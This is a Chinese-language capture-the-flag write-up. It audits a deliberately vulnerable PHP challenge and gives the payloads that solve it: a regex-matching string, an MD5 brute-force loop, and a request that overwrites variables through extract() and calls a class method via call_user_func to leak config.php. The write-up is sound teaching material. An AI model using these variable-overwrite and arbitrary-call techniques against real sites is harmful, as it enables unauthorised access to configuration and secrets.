先审计一下代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
第一步,存在一个正则表达式,我们要传入一个shaw_root
并且使其长度为29,然后满足正则表达式
/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/
^表示的是正则表达式开始的位置
-表示-
[a-e]表示选其中的一个字母
[^a-zA-Z0-8]表示匹配不属于这里面的数
<b>表示<b>
(.*)表示除换行符 \n 之外的任何单字符,然后有0次或多次
> {4}表示限定出现4次>
\D*表示匹配非数字
?表示匹配前面的子表达式零次或一次类似于{0,1}
(abc.*?)表示匹配abc
p(hp)*表示匹配了php
@R表示传入@R
(s|r)表示传入s或r
.表示除换行符 \n 之外的任何单字符
$表示正则表达式的结束符号
这是我的payload
shaw root=-a9<b>11111111>>>>aabcphp@Rs1
得到了hint
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
这里要爆破一下$SecretNumber
<?php
for($SecretNumber=10000;$SecretNumber<99999;$SecretNumber++){
$str = "shaw".($SecretNumber)."root";
if (md5($str) == "166b47a5cb1ca2431a0edfcef200684f")
{
echo $SecretNumber;
exit;
}
}
?>
得到$SecretNumber
的值为21475
shaw root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475
进入最后一层,要我们传入$my_ans
利用call_user_func来调用类里面的方法,因为oao方法下存在着show_source("config.php");
则为qwq::oao
shaw root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my ans=qwq::oao
得到flag